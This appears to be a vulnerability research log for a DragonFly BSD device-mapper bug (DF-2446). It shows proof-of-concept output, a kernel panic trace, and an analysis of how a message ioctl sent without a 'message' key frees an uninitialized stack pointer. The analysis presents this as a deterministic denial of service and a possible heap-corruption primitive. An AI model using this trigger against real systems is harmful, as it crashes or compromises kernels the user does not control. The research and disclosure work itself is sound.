== DF-2446 baseline (unpatched) run on #0 kernel ==
[*] kldload dm (root)...
Device Mapper version 4.16.0 loaded
dm_target_error: Successfully initialized
dm_target_zero: Successfully initialized
[*] running PoC...
[*] create 'df2446dev': prop_dictionary_send_ioctl rv=0 (ok)
[*] sending message ioctl WITHOUT 'message' key...
[*] expect: kernel panic / INVARIANTS trap in kfree of uninitialized stack ptr
(run hangs; ssh dies; guest enters DDB)

== serial console (dfbsd-qemu/boot.log) panic signature ==
Fatal user address access from kernel mode from dm_uninit_msg at ffffffff80657ec5
Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address	= 0x2e2e7a4a7054
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff80657ec5
stack pointer	        = 0x10:0xfffff80118f69648
frame pointer	        = 0x10:0xfffff80118f69678
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 987
current thread          = pri 6
kernel: type 12 trap, code=0
CPU2 stopping CPUs: 0x0000003b
 stopped
Stopped at      _kfree+0x45:    movl    0x54(%rax),%r13d
db>

== interpretation ==
`msg` was uninitialized stack residue = 0x2e2e7a4a7000 ("...."zP.. pattern).
_kfree(msg, M_TEMP) at dm_ioctl.c:1058 dereferenced rax+0x54 to read slab
chunk metadata -> page fault on unmapped user-range address -> fatal trap 12.
This is the free-of-uninitialized-pointer primitive: deterministic DoS, and
a heap-corruption/UAF primitive if the stack residue happens to land on a
valid slab address.